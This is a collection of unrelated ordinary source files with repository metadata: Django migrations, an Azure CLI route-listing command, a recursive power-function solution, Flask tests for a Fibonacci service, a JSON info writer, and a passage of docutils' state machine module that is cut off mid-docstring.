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# Generated by Django 3.1.5 on 2021-03-17 14:36 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='exam_bank_sales_set', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('duration', models.CharField(default='', max_length=30)), ('selling_price', models.IntegerField()), ('created_time', models.DateTimeField(auto_now_add=True)), ('updated_time', models.DateTimeField(auto_now=True)), ], options={ 'verbose_name': '題庫販售方案', 'verbose_name_plural': '題庫販售方案', 'ordering': ['-updated_time'], }, ), ]

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from django.contrib import admin from .models import GeoAlgo @admin.register(GeoAlgo) class GeoAlgoAdmin(admin.ModelAdmin): list_display = ['nombre'] search_fields = ['nombre']

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Vaishali1219/contacts

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# Generated by Django 2.2.4 on 2019-10-23 15:17 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Contact', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=20)), ('email', models.EmailField(max_length=100)), ('phone', models.IntegerField()), ('info', models.CharField(choices=[('male', 'Male'), ('female', 'Female')], max_length=50)), ('image', models.ImageField(blank=True, upload_to='images/')), ('date_added', models.DateField(auto_now_add=True)), ], ), ]

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# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # # Code generated by aaz-dev-tools # -------------------------------------------------------------------------------------------- # pylint: skip-file # flake8: noqa from azure.cli.core.aaz import * @register_command( "network vnet-gateway list-learned-routes", ) class ListLearnedRoutes(AAZCommand): """This operation retrieves a list of routes the virtual network gateway has learned, including routes learned from BGP peers. :example: Retrieve a list of learned routes. az network vnet-gateway list-learned-routes -g MyResourceGroup -n MyVnetGateway """ _aaz_info = { "version": "2017-10-01", "resources": [ ["mgmt-plane", "/subscriptions/{}/resourcegroups/{}/providers/microsoft.network/virtualnetworkgateways/{}/getlearnedroutes", "2017-10-01"], ] } AZ_SUPPORT_NO_WAIT = True def _handler(self, command_args): super()._handler(command_args) return self.build_lro_poller(self._execute_operations, self._output) _args_schema = None @classmethod def _build_arguments_schema(cls, *args, **kwargs): if cls._args_schema is not None: return cls._args_schema cls._args_schema = super()._build_arguments_schema(*args, **kwargs) # define Arg Group "" _args_schema = cls._args_schema _args_schema.resource_group = AAZResourceGroupNameArg( required=True, ) _args_schema.name = AAZStrArg( options=["-n", "--name"], help="Name of the VNet gateway.", required=True, id_part="name", ) return cls._args_schema def _execute_operations(self): self.pre_operations() yield self.VirtualNetworkGatewaysGetLearnedRoutes(ctx=self.ctx)() self.post_operations() @register_callback def pre_operations(self): pass @register_callback def post_operations(self): pass def _output(self, *args, **kwargs): result = self.deserialize_output(self.ctx.vars.instance, client_flatten=True) return result class VirtualNetworkGatewaysGetLearnedRoutes(AAZHttpOperation): CLIENT_TYPE = "MgmtClient" def __call__(self, *args, **kwargs): request = self.make_request() session = self.client.send_request(request=request, stream=False, **kwargs) if session.http_response.status_code in [202]: return self.client.build_lro_polling( self.ctx.args.no_wait, session, self.on_200, self.on_error, lro_options={"final-state-via": "location"}, path_format_arguments=self.url_parameters, ) if session.http_response.status_code in [200]: return self.client.build_lro_polling( self.ctx.args.no_wait, session, self.on_200, self.on_error, lro_options={"final-state-via": "location"}, path_format_arguments=self.url_parameters, ) return self.on_error(session.http_response) @property def url(self): return self.client.format_url( "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworkGateways/{virtualNetworkGatewayName}/getLearnedRoutes", **self.url_parameters ) @property def method(self): return "POST" @property def error_format(self): return "MgmtErrorFormat" @property def url_parameters(self): parameters = { **self.serialize_url_param( "resourceGroupName", self.ctx.args.resource_group, required=True, ), **self.serialize_url_param( "subscriptionId", self.ctx.subscription_id, required=True, ), **self.serialize_url_param( "virtualNetworkGatewayName", self.ctx.args.name, required=True, ), } return parameters @property def query_parameters(self): parameters = { **self.serialize_query_param( "api-version", "2017-10-01", required=True, ), } return parameters @property def header_parameters(self): parameters = { **self.serialize_header_param( "Accept", "application/json", ), } return parameters def on_200(self, session): data = self.deserialize_http_content(session) self.ctx.set_var( "instance", data, schema_builder=self._build_schema_on_200 ) _schema_on_200 = None @classmethod def _build_schema_on_200(cls): if cls._schema_on_200 is not None: return cls._schema_on_200 cls._schema_on_200 = AAZObjectType() _schema_on_200 = cls._schema_on_200 _schema_on_200.value = AAZListType() value = cls._schema_on_200.value value.Element = AAZObjectType() _element = cls._schema_on_200.value.Element _element.as_path = AAZStrType( serialized_name="asPath", flags={"read_only": True}, ) _element.local_address = AAZStrType( serialized_name="localAddress", flags={"read_only": True}, ) _element.network = AAZStrType( flags={"read_only": True}, ) _element.next_hop = AAZStrType( serialized_name="nextHop", flags={"read_only": True}, ) _element.origin = AAZStrType( flags={"read_only": True}, ) _element.source_peer = AAZStrType( serialized_name="sourcePeer", flags={"read_only": True}, ) _element.weight = AAZIntType( flags={"read_only": True}, ) return cls._schema_on_200 class _ListLearnedRoutesHelper: """Helper class for ListLearnedRoutes""" __all__ = ["ListLearnedRoutes"]

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# 实现函数double Power(double base, int exponent)，求base的exponent次方。不得使用库函数，同时不需要考虑大数问题。 # # 示例 1: # # 输入: 2.00000, 10 # 输出: 1024.00000 # 示例 2: # # 输入: 2.10000, 3 # 输出: 9.26100 # 示例 3: # # 输入: 2.00000, -2 # 输出: 0.25000 # 解释: 2-2 = 1/22 = 1/4 = 0.25 # 思路一：优化方法，将指数分为奇数和偶数，偶数的话可以 x=x*x # 判断奇偶的方法：对于(m+n) & 1，若结果为0，则（m+n）是偶数；若结果为1，则（m+n）为奇数； # 递归思想：可以从后面往前面退，比如： # 奇数的时候：return x * getPow(x, n-1) # 偶数的时候：return getPow(x * x, n // 2) class Solution(object): def myPow(self, x, n): """ :type x: float :type n: int :rtype: float """ # 1. 迭代版本 # n_temp = abs(n) # sum = 1 # while n_temp > 1: # # if n_temp & 1 == 0: # 偶数 # x = x * x # n_temp = n_temp // 2 # else: # sum = sum * x # n_temp -= 1 # sum = sum * x # # if n < 0: # return 1 / sum # elif n ==0: # return 1 # return sum # 2. 递归版本 if n == 0: return 1 elif n > 0: return self.getPow(x, n) else: return self.getPow(1/x, -n) def getPow(self, x, n): # 递归算法，先写结束条件 if n == 1: return x if n & 1 == 0: # 偶数 return self.getPow(x * x, n // 2) else: return x * self.getPow(x, n-1) if __name__ == '__main__': ob = Solution() print(ob.myPow(2.0, 3))

[ "dudaizhong@126.com" ]

dudaizhong@126.com

02b17aabc9903be3583d686b43c3f0bb89d31eb6

757583830dd0fd637841f63374dd932a18cd314c

/tests/test_math_service.py

3e81dc65e1027eebec5bd23f114abbcaa51d17b8

[]

no_license

garmstrong87/mathservice

ec3dd038af7e61b70c8ee9014f1e2cdf2716f0bb

e311d50649cecc9fbae460c61d23fb327785dcf6

refs/heads/master

2016-09-05T15:22:49.797492

2013-12-14T16:40:17

null

0

null

UTF-8

Python

false

2,986

py

# # test_function_service.py - Perform unit tests to validate mappings and responses for the service. # import unittest import json from flask import Flask import mathservice import MathServiceError class TestServiceFunctions(unittest.TestCase): def setUp(self): self.app = Flask(__name__) self.app.config['TESTING'] = True def test_list_of_implemented_functions(self): # Assure that the proper JSON message type comes back response = json.loads(mathservice.list_implemented_functions()) self.assertTrue('functions' in response) # Only one current implemented function self.assertEqual(len(response['functions']), 2) def test_fibonacci_series_valid_response(self): # Verify proper format of JSON response with self.app.test_request_context('/function/fibonacci?number=3'): response = json.loads(mathservice.calculate_fibonacci_series()) self.assertTrue('function' in response) self.assertEqual(response['function'], 'fibonacci') self.assertTrue('list_size' in response) self.assertTrue('fibonacci_numbers' in response) self.assertEqual(len(response['fibonacci_numbers']), 3) def test_fibonacci_series_invalid_response( self ): # Verify proper format of JSON response for error message with self.app.test_request_context('/function/fibonacci?number=-3'): response = json.loads(mathservice.calculate_fibonacci_series()) self.assertTrue('called_url' in response) self.assertTrue('called_method' in response) self.assertTrue('error_message' in response) def test_fibonacci_series_sum_valid_response(self): # Verify proper format of JSON response with self.app.test_request_context('/function/fibonacci_sum?number=3'): response = json.loads(mathservice.calculate_fibonacci_series_sum()) self.assertTrue('function' in response) self.assertEqual(response['function'], 'fibonacci_sum') self.assertTrue('sum' in response) self.assertEqual(response['sum'], 2) def test_fibonacci_series_sum_invalid_response(self): # Verify proper format of JSON response for error message with self.app.test_request_context('/function/fibonacci_sum?number=-3'): response = json.loads(mathservice.calculate_fibonacci_series_sum()) self.assertTrue('called_url' in response) self.assertTrue('called_method' in response) self.assertTrue('error_message' in response) if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(TestServiceFunctions) unittest.TextTestRunner(verbosity = 2).run(suite)

[ "glenn@development.(none)" ]

glenn@development.(none)

a30be694eca63a88eff2b727822bab6367cf71fe

d0dfd680e92e9b32f24e6e034571ad4323a58103

/src/yeahml/information/write_info.py

e25421e67c2746d55a8337851f10397129d59851

[ "Apache-2.0" ]

permissive

yeahml/yeahml

6d1523d01300532f19c54d8e9c320420df66ee5c

b51faff6625db5980151a4a5fac7bb49313df5c1

refs/heads/master

2023-08-11T16:49:41.181953

2020-11-14T20:33:58

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1

Apache-2.0

2023-06-02T18:45:48

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import json import pathlib from typing import Any, Dict def write_build_information( model_cdict: Dict[str, Any], meta_cdict: Dict[str, Any] ) -> bool: full_exp_path = ( pathlib.Path(meta_cdict["yeahml_dir"]) .joinpath(meta_cdict["data_name"]) .joinpath(meta_cdict["experiment_name"]) ) json_path = pathlib.Path(full_exp_path).joinpath("info.json") data_to_write = {} KEYS_TO_WRITE = ["model_hash"] if pathlib.Path(json_path).exists(): with open(json_path) as json_file: data = json.load(json_file) for k in KEYS_TO_WRITE: if not k == "model_hash" and not meta_cdict["name_overwrite"]: assert ( data[k] == model_cdict[k] ), f"info at {json_path} already contains the same values for keys {k}, but {json_path}={data[k]} and model config = {model_cdict[k]}\n > possible solution: change the name of the current model?" for k in KEYS_TO_WRITE: data_to_write[k] = model_cdict[k] with open(json_path, "w") as outfile: json.dump(data_to_write, outfile) return True

[ "jackbburdick@gmail.com" ]

jackbburdick@gmail.com

1f17b50472da33c1556fc91a3bb78c6d64b9f62a

997b9c4a79be49f3b1077d8a41f240c2e858bd58

/src/.pycharm_helpers/docutils/statemachine.py

317624e693c29d4ee186c792a60d52dd525b1a88

[ "BSD-3-Clause", "BSD-2-Clause" ]

permissive

akiokio/centralfitestoque

746b46c2e197b2fdfd84cb52e6e39962ae951984

7de35908852fb8e5e24720a37f4f4063c6c52be2

refs/heads/master

2020-05-17T02:48:48.433499

2013-11-10T14:00:46

null

0

null

UTF-8

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57,006

py

# $Id: statemachine.py 6388 2010-08-13 12:24:34Z milde $ # Author: David Goodger <goodger@python.org> # Copyright: This module has been placed in the public domain. """ A finite state machine specialized for regular-expression-based text filters, this module defines the following classes: - `StateMachine`, a state machine - `State`, a state superclass - `StateMachineWS`, a whitespace-sensitive version of `StateMachine` - `StateWS`, a state superclass for use with `StateMachineWS` - `SearchStateMachine`, uses `re.search()` instead of `re.match()` - `SearchStateMachineWS`, uses `re.search()` instead of `re.match()` - `ViewList`, extends standard Python lists. - `StringList`, string-specific ViewList. Exception classes: - `StateMachineError` - `UnknownStateError` - `DuplicateStateError` - `UnknownTransitionError` - `DuplicateTransitionError` - `TransitionPatternNotFound` - `TransitionMethodNotFound` - `UnexpectedIndentationError` - `TransitionCorrection`: Raised to switch to another transition. - `StateCorrection`: Raised to switch to another state & transition. Functions: - `string2lines()`: split a multi-line string into a list of one-line strings How To Use This Module ====================== (See the individual classes, methods, and attributes for details.) 1. Import it: ``import statemachine`` or ``from statemachine import ...``. You will also need to ``import re``. 2. Derive a subclass of `State` (or `StateWS`) for each state in your state machine:: class MyState(statemachine.State): Within the state's class definition: a) Include a pattern for each transition, in `State.patterns`:: patterns = {'atransition': r'pattern', ...} b) Include a list of initial transitions to be set up automatically, in `State.initial_transitions`:: initial_transitions = ['atransition', ...] c) Define a method for each transition, with the same name as the transition pattern:: def atransition(self, match, context, next_state): # do something result = [...] # a list return context, next_state, result # context, next_state may be altered Transition methods may raise an `EOFError` to cut processing short. d) You may wish to override the `State.bof()` and/or `State.eof()` implicit transition methods, which handle the beginning- and end-of-file. e) In order to handle nested processing, you may wish to override the attributes `State.nested_sm` and/or `State.nested_sm_kwargs`. If you are using `StateWS` as a base class, in order to handle nested indented blocks, you may wish to: - override the attributes `StateWS.indent_sm`, `StateWS.indent_sm_kwargs`, `StateWS.known_indent_sm`, and/or `StateWS.known_indent_sm_kwargs`; - override the `StateWS.blank()` method; and/or - override or extend the `StateWS.indent()`, `StateWS.known_indent()`, and/or `StateWS.firstknown_indent()` methods. 3. Create a state machine object:: sm = StateMachine(state_classes=[MyState, ...], initial_state='MyState') 4. Obtain the input text, which needs to be converted into a tab-free list of one-line strings. For centralfitestoque, to read text from a file called 'inputfile':: input_string = open('inputfile').read() input_lines = statemachine.string2lines(input_string) 5. Run the state machine on the input text and collect the results, a list:: results = sm.run(input_lines) 6. Remove any lingering circular references:: sm.unlink() """ __docformat__ = 'restructuredtext' import sys import re import types import unicodedata class StateMachine: """ A finite state machine for text filters using regular expressions. The input is provided in the form of a list of one-line strings (no newlines). States are subclasses of the `State` class. Transitions consist of regular expression patterns and transition methods, and are defined in each state. The state machine is started with the `run()` method, which returns the results of processing in a list. """ def __init__(self, state_classes, initial_state, debug=0): """ Initialize a `StateMachine` object; add state objects. Parameters: - `state_classes`: a list of `State` (sub)classes. - `initial_state`: a string, the class name of the initial state. - `debug`: a boolean; produce verbose output if true (nonzero). """ self.input_lines = None """`StringList` of input lines (without newlines). Filled by `self.run()`.""" self.input_offset = 0 """Offset of `self.input_lines` from the beginning of the file.""" self.line = None """Current input line.""" self.line_offset = -1 """Current input line offset from beginning of `self.input_lines`.""" self.debug = debug """Debugging mode on/off.""" self.initial_state = initial_state """The name of the initial state (key to `self.states`).""" self.current_state = initial_state """The name of the current state (key to `self.states`).""" self.states = {} """Mapping of {state_name: State_object}.""" self.add_states(state_classes) self.observers = [] """List of bound methods or functions to call whenever the current line changes. Observers are called with one argument, ``self``. Cleared at the end of `run()`.""" def unlink(self): """Remove circular references to objects no longer required.""" for state in self.states.values(): state.unlink() self.states = None def run(self, input_lines, input_offset=0, context=None, input_source=None, initial_state=None): """ Run the state machine on `input_lines`. Return results (a list). Reset `self.line_offset` and `self.current_state`. Run the beginning-of-file transition. Input one line at a time and check for a matching transition. If a match is found, call the transition method and possibly change the state. Store the context returned by the transition method to be passed on to the next transition matched. Accumulate the results returned by the transition methods in a list. Run the end-of-file transition. Finally, return the accumulated results. Parameters: - `input_lines`: a list of strings without newlines, or `StringList`. - `input_offset`: the line offset of `input_lines` from the beginning of the file. - `context`: application-specific storage. - `input_source`: name or path of source of `input_lines`. - `initial_state`: name of initial state. """ self.runtime_init() if isinstance(input_lines, StringList): self.input_lines = input_lines else: self.input_lines = StringList(input_lines, source=input_source) self.input_offset = input_offset self.line_offset = -1 self.current_state = initial_state or self.initial_state if self.debug: print >>sys.stderr, ( '\nStateMachine.run: input_lines (line_offset=%s):\n| %s' % (self.line_offset, '\n| '.join(self.input_lines))) transitions = None results = [] state = self.get_state() try: if self.debug: print >>sys.stderr, ('\nStateMachine.run: bof transition') context, result = state.bof(context) results.extend(result) while 1: try: try: self.next_line() if self.debug: source, offset = self.input_lines.info( self.line_offset) print >>sys.stderr, ( '\nStateMachine.run: line (source=%r, ' 'offset=%r):\n| %s' % (source, offset, self.line)) context, next_state, result = self.check_line( context, state, transitions) except EOFError: if self.debug: print >>sys.stderr, ( '\nStateMachine.run: %s.eof transition' % state.__class__.__name__) result = state.eof(context) results.extend(result) break else: results.extend(result) except TransitionCorrection, exception: self.previous_line() # back up for another try transitions = (exception.args[0],) if self.debug: print >>sys.stderr, ( '\nStateMachine.run: TransitionCorrection to ' 'state "%s", transition %s.' % (state.__class__.__name__, transitions[0])) continue except StateCorrection, exception: self.previous_line() # back up for another try next_state = exception.args[0] if len(exception.args) == 1: transitions = None else: transitions = (exception.args[1],) if self.debug: print >>sys.stderr, ( '\nStateMachine.run: StateCorrection to state ' '"%s", transition %s.' % (next_state, transitions[0])) else: transitions = None state = self.get_state(next_state) except: if self.debug: self.error() raise self.observers = [] return results def get_state(self, next_state=None): """ Return current state object; set it first if `next_state` given. Parameter `next_state`: a string, the name of the next state. Exception: `UnknownStateError` raised if `next_state` unknown. """ if next_state: if self.debug and next_state != self.current_state: print >>sys.stderr, \ ('\nStateMachine.get_state: Changing state from ' '"%s" to "%s" (input line %s).' % (self.current_state, next_state, self.abs_line_number())) self.current_state = next_state try: return self.states[self.current_state] except KeyError: raise UnknownStateError(self.current_state) def next_line(self, n=1): """Load `self.line` with the `n`'th next line and return it.""" try: try: self.line_offset += n self.line = self.input_lines[self.line_offset] except IndexError: self.line = None raise EOFError return self.line finally: self.notify_observers() def is_next_line_blank(self): """Return 1 if the next line is blank or non-existant.""" try: return not self.input_lines[self.line_offset + 1].strip() except IndexError: return 1 def at_eof(self): """Return 1 if the input is at or past end-of-file.""" return self.line_offset >= len(self.input_lines) - 1 def at_bof(self): """Return 1 if the input is at or before beginning-of-file.""" return self.line_offset <= 0 def previous_line(self, n=1): """Load `self.line` with the `n`'th previous line and return it.""" self.line_offset -= n if self.line_offset < 0: self.line = None else: self.line = self.input_lines[self.line_offset] self.notify_observers() return self.line def goto_line(self, line_offset): """Jump to absolute line offset `line_offset`, load and return it.""" try: try: self.line_offset = line_offset - self.input_offset self.line = self.input_lines[self.line_offset] except IndexError: self.line = None raise EOFError return self.line finally: self.notify_observers() def get_source(self, line_offset): """Return source of line at absolute line offset `line_offset`.""" return self.input_lines.source(line_offset - self.input_offset) def abs_line_offset(self): """Return line offset of current line, from beginning of file.""" return self.line_offset + self.input_offset def abs_line_number(self): """Return line number of current line (counting from 1).""" return self.line_offset + self.input_offset + 1 def get_source_and_line(self, lineno=None): """Return (source, line) tuple for current or given line number. Looks up the source and line number in the `self.input_lines` StringList instance to count for included source files. If the optional argument `lineno` is given, convert it from an absolute line number to the corresponding (source, line) pair. """ if lineno is None: offset = self.line_offset else: offset = lineno - self.input_offset - 1 try: src, srcoffset = self.input_lines.info(offset) srcline = srcoffset + 1 except (TypeError): # line is None if index is "Just past the end" src, srcline = self.get_source_and_line(offset + self.input_offset) return src, srcline + 1 except (IndexError): # `offset` is off the list src, srcline = None, None # raise AssertionError('cannot find line %d in %s lines' % # (offset, len(self.input_lines))) # # list(self.input_lines.lines()))) # assert offset == srcoffset, str(self.input_lines) # print "get_source_and_line(%s):" % lineno, # print offset + 1, '->', src, srcline # print self.input_lines return (src, srcline) def insert_input(self, input_lines, source): self.input_lines.insert(self.line_offset + 1, '', source='internal padding after '+source, offset=len(input_lines)) self.input_lines.insert(self.line_offset + 1, '', source='internal padding before '+source, offset=-1) self.input_lines.insert(self.line_offset + 2, StringList(input_lines, source)) def get_text_block(self, flush_left=0): """ Return a contiguous block of text. If `flush_left` is true, raise `UnexpectedIndentationError` if an indented line is encountered before the text block ends (with a blank line). """ try: block = self.input_lines.get_text_block(self.line_offset, flush_left) self.next_line(len(block) - 1) return block except UnexpectedIndentationError, error: block, source, lineno = error.args self.next_line(len(block) - 1) # advance to last line of block raise def check_line(self, context, state, transitions=None): """ Examine one line of input for a transition match & execute its method. Parameters: - `context`: application-dependent storage. - `state`: a `State` object, the current state. - `transitions`: an optional ordered list of transition names to try, instead of ``state.transition_order``. Return the values returned by the transition method: - context: possibly modified from the parameter `context`; - next state name (`State` subclass name); - the result output of the transition, a list. When there is no match, ``state.no_match()`` is called and its return value is returned. """ if transitions is None: transitions = state.transition_order state_correction = None if self.debug: print >>sys.stderr, ( '\nStateMachine.check_line: state="%s", transitions=%r.' % (state.__class__.__name__, transitions)) for name in transitions: pattern, method, next_state = state.transitions[name] match = pattern.match(self.line) if match: if self.debug: print >>sys.stderr, ( '\nStateMachine.check_line: Matched transition ' '"%s" in state "%s".' % (name, state.__class__.__name__)) return method(match, context, next_state) else: if self.debug: print >>sys.stderr, ( '\nStateMachine.check_line: No match in state "%s".' % state.__class__.__name__) return state.no_match(context, transitions) def add_state(self, state_class): """ Initialize & add a `state_class` (`State` subclass) object. Exception: `DuplicateStateError` raised if `state_class` was already added. """ statename = state_class.__name__ if statename in self.states: raise DuplicateStateError(statename) self.states[statename] = state_class(self, self.debug) def add_states(self, state_classes): """ Add `state_classes` (a list of `State` subclasses). """ for state_class in state_classes: self.add_state(state_class) def runtime_init(self): """ Initialize `self.states`. """ for state in self.states.values(): state.runtime_init() def error(self): """Report error details.""" type, value, module, line, function = _exception_data() print >>sys.stderr, '%s: %s' % (type, value) print >>sys.stderr, 'input line %s' % (self.abs_line_number()) print >>sys.stderr, ('module %s, line %s, function %s' % (module, line, function)) def attach_observer(self, observer): """ The `observer` parameter is a function or bound method which takes two arguments, the source and offset of the current line. """ self.observers.append(observer) def detach_observer(self, observer): self.observers.remove(observer) def notify_observers(self): for observer in self.observers: try: info = self.input_lines.info(self.line_offset) except IndexError: info = (None, None) observer(*info) class State: """ State superclass. Contains a list of transitions, and transition methods. Transition methods all have the same signature. They take 3 parameters: - An `re` match object. ``match.string`` contains the matched input line, ``match.start()`` gives the start index of the match, and ``match.end()`` gives the end index. - A context object, whose meaning is application-defined (initial value ``None``). It can be used to store any information required by the state machine, and the retured context is passed on to the next transition method unchanged. - The name of the next state, a string, taken from the transitions list; normally it is returned unchanged, but it may be altered by the transition method if necessary. Transition methods all return a 3-tuple: - A context object, as (potentially) modified by the transition method. - The next state name (a return value of ``None`` means no state change). - The processing result, a list, which is accumulated by the state machine. Transition methods may raise an `EOFError` to cut processing short. There are two implicit transitions, and corresponding transition methods are defined: `bof()` handles the beginning-of-file, and `eof()` handles the end-of-file. These methods have non-standard signatures and return values. `bof()` returns the initial context and results, and may be used to return a header string, or do any other processing needed. `eof()` should handle any remaining context and wrap things up; it returns the final processing result. Typical applications need only subclass `State` (or a subclass), set the `patterns` and `initial_transitions` class attributes, and provide corresponding transition methods. The default object initialization will take care of constructing the list of transitions. """ patterns = None """ {Name: pattern} mapping, used by `make_transition()`. Each pattern may be a string or a compiled `re` pattern. Override in subclasses. """ initial_transitions = None """ A list of transitions to initialize when a `State` is instantiated. Each entry is either a transition name string, or a (transition name, next state name) pair. See `make_transitions()`. Override in subclasses. """ nested_sm = None """ The `StateMachine` class for handling nested processing. If left as ``None``, `nested_sm` defaults to the class of the state's controlling state machine. Override it in subclasses to avoid the default. """ nested_sm_kwargs = None """ Keyword arguments dictionary, passed to the `nested_sm` constructor. Two keys must have entries in the dictionary: - Key 'state_classes' must be set to a list of `State` classes. - Key 'initial_state' must be set to the name of the initial state class. If `nested_sm_kwargs` is left as ``None``, 'state_classes' defaults to the class of the current state, and 'initial_state' defaults to the name of the class of the current state. Override in subclasses to avoid the defaults. """ def __init__(self, state_machine, debug=0): """ Initialize a `State` object; make & add initial transitions. Parameters: - `statemachine`: the controlling `StateMachine` object. - `debug`: a boolean; produce verbose output if true (nonzero). """ self.transition_order = [] """A list of transition names in search order.""" self.transitions = {} """ A mapping of transition names to 3-tuples containing (compiled_pattern, transition_method, next_state_name). Initialized as an instance attribute dynamically (instead of as a class attribute) because it may make forward references to patterns and methods in this or other classes. """ self.add_initial_transitions() self.state_machine = state_machine """A reference to the controlling `StateMachine` object.""" self.debug = debug """Debugging mode on/off.""" if self.nested_sm is None: self.nested_sm = self.state_machine.__class__ if self.nested_sm_kwargs is None: self.nested_sm_kwargs = {'state_classes': [self.__class__], 'initial_state': self.__class__.__name__} def runtime_init(self): """ Initialize this `State` before running the state machine; called from `self.state_machine.run()`. """ pass def unlink(self): """Remove circular references to objects no longer required.""" self.state_machine = None def add_initial_transitions(self): """Make and add transitions listed in `self.initial_transitions`.""" if self.initial_transitions: names, transitions = self.make_transitions( self.initial_transitions) self.add_transitions(names, transitions) def add_transitions(self, names, transitions): """ Add a list of transitions to the start of the transition list. Parameters: - `names`: a list of transition names. - `transitions`: a mapping of names to transition tuples. Exceptions: `DuplicateTransitionError`, `UnknownTransitionError`. """ for name in names: if name in self.transitions: raise DuplicateTransitionError(name) if name not in transitions: raise UnknownTransitionError(name) self.transition_order[:0] = names self.transitions.update(transitions) def add_transition(self, name, transition): """ Add a transition to the start of the transition list. Parameter `transition`: a ready-made transition 3-tuple. Exception: `DuplicateTransitionError`. """ if name in self.transitions: raise DuplicateTransitionError(name) self.transition_order[:0] = [name] self.transitions[name] = transition def remove_transition(self, name): """ Remove a transition by `name`. Exception: `UnknownTransitionError`. """ try: del self.transitions[name] self.transition_order.remove(name) except: raise UnknownTransitionError(name) def make_transition(self, name, next_state=None): """ Make & return a transition tuple based on `name`. This is a convenience function to simplify transition creation. Parameters: - `name`: a string, the name of the transition pattern & method. This `State` object must have a method called '`name`', and a dictionary `self.patterns` containing a key '`name`'. - `next_state`: a string, the name of the next `State` object for this transition. A value of ``None`` (or absent) implies no state change (i.e., continue with the same state). Exceptions: `TransitionPatternNotFound`, `TransitionMethodNotFound`. """ if next_state is None: next_state = self.__class__.__name__ try: pattern = self.patterns[name] if not hasattr(pattern, 'match'): pattern = re.compile(pattern) except KeyError: raise TransitionPatternNotFound( '%s.patterns[%r]' % (self.__class__.__name__, name)) try: method = getattr(self, name) except AttributeError: raise TransitionMethodNotFound( '%s.%s' % (self.__class__.__name__, name)) return (pattern, method, next_state) def make_transitions(self, name_list): """ Return a list of transition names and a transition mapping. Parameter `name_list`: a list, where each entry is either a transition name string, or a 1- or 2-tuple (transition name, optional next state name). """ stringtype = type('') names = [] transitions = {} for namestate in name_list: if type(namestate) is stringtype: transitions[namestate] = self.make_transition(namestate) names.append(namestate) else: transitions[namestate[0]] = self.make_transition(*namestate) names.append(namestate[0]) return names, transitions def no_match(self, context, transitions): """ Called when there is no match from `StateMachine.check_line()`. Return the same values returned by transition methods: - context: unchanged; - next state name: ``None``; - empty result list. Override in subclasses to catch this event. """ return context, None, [] def bof(self, context): """ Handle beginning-of-file. Return unchanged `context`, empty result. Override in subclasses. Parameter `context`: application-defined storage. """ return context, [] def eof(self, context): """ Handle end-of-file. Return empty result. Override in subclasses. Parameter `context`: application-defined storage. """ return [] def nop(self, match, context, next_state): """ A "do nothing" transition method. Return unchanged `context` & `next_state`, empty result. Useful for simple state changes (actionless transitions). """ return context, next_state, [] class StateMachineWS(StateMachine): """ `StateMachine` subclass specialized for whitespace recognition. There are three methods provided for extracting indented text blocks: - `get_indented()`: use when the indent is unknown. - `get_known_indented()`: use when the indent is known for all lines. - `get_first_known_indented()`: use when only the first line's indent is known. """ def get_indented(self, until_blank=0, strip_indent=1): """ Return a block of indented lines of text, and info. Extract an indented block where the indent is unknown for all lines. :Parameters: - `until_blank`: Stop collecting at the first blank line if true (1). - `strip_indent`: Strip common leading indent if true (1, default). :Return: - the indented block (a list of lines of text), - its indent, - its first line offset from BOF, and - whether or not it finished with a blank line. """ offset = self.abs_line_offset() indented, indent, blank_finish = self.input_lines.get_indented( self.line_offset, until_blank, strip_indent) if indented: self.next_line(len(indented) - 1) # advance to last indented line while indented and not indented[0].strip(): indented.trim_start() offset += 1 return indented, indent, offset, blank_finish def get_known_indented(self, indent, until_blank=0, strip_indent=1): """ Return an indented block and info. Extract an indented block where the indent is known for all lines. Starting with the current line, extract the entire text block with at least `indent` indentation (which must be whitespace, except for the first line). :Parameters: - `indent`: The number of indent columns/characters. - `until_blank`: Stop collecting at the first blank line if true (1). - `strip_indent`: Strip `indent` characters of indentation if true (1, default). :Return: - the indented block, - its first line offset from BOF, and - whether or not it finished with a blank line. """ offset = self.abs_line_offset() indented, indent, blank_finish = self.input_lines.get_indented( self.line_offset, until_blank, strip_indent, block_indent=indent) self.next_line(len(indented) - 1) # advance to last indented line while indented and not indented[0].strip(): indented.trim_start() offset += 1 return indented, offset, blank_finish def get_first_known_indented(self, indent, until_blank=0, strip_indent=1, strip_top=1): """ Return an indented block and info. Extract an indented block where the indent is known for the first line and unknown for all other lines. :Parameters: - `indent`: The first line's indent (# of columns/characters). - `until_blank`: Stop collecting at the first blank line if true (1). - `strip_indent`: Strip `indent` characters of indentation if true (1, default). - `strip_top`: Strip blank lines from the beginning of the block. :Return: - the indented block, - its indent, - its first line offset from BOF, and - whether or not it finished with a blank line. """ offset = self.abs_line_offset() indented, indent, blank_finish = self.input_lines.get_indented( self.line_offset, until_blank, strip_indent, first_indent=indent) self.next_line(len(indented) - 1) # advance to last indented line if strip_top: while indented and not indented[0].strip(): indented.trim_start() offset += 1 return indented, indent, offset, blank_finish class StateWS(State): """ State superclass specialized for whitespace (blank lines & indents). Use this class with `StateMachineWS`. The transitions 'blank' (for blank lines) and 'indent' (for indented text blocks) are added automatically, before any other transitions. The transition method `blank()` handles blank lines and `indent()` handles nested indented blocks. Indented blocks trigger a new state machine to be created by `indent()` and run. The class of the state machine to be created is in `indent_sm`, and the constructor keyword arguments are in the dictionary `indent_sm_kwargs`. The methods `known_indent()` and `firstknown_indent()` are provided for indented blocks where the indent (all lines' and first line's only, respectively) is known to the transition method, along with the attributes `known_indent_sm` and `known_indent_sm_kwargs`. Neither transition method is triggered automatically. """ indent_sm = None """ The `StateMachine` class handling indented text blocks. If left as ``None``, `indent_sm` defaults to the value of `State.nested_sm`. Override it in subclasses to avoid the default. """ indent_sm_kwargs = None """ Keyword arguments dictionary, passed to the `indent_sm` constructor. If left as ``None``, `indent_sm_kwargs` defaults to the value of `State.nested_sm_kwargs`. Override it in subclasses to avoid the default. """ known_indent_sm = None """ The `StateMachine` class handling known-indented text blocks. If left as ``None``, `known_indent_sm` defaults to the value of `indent_sm`. 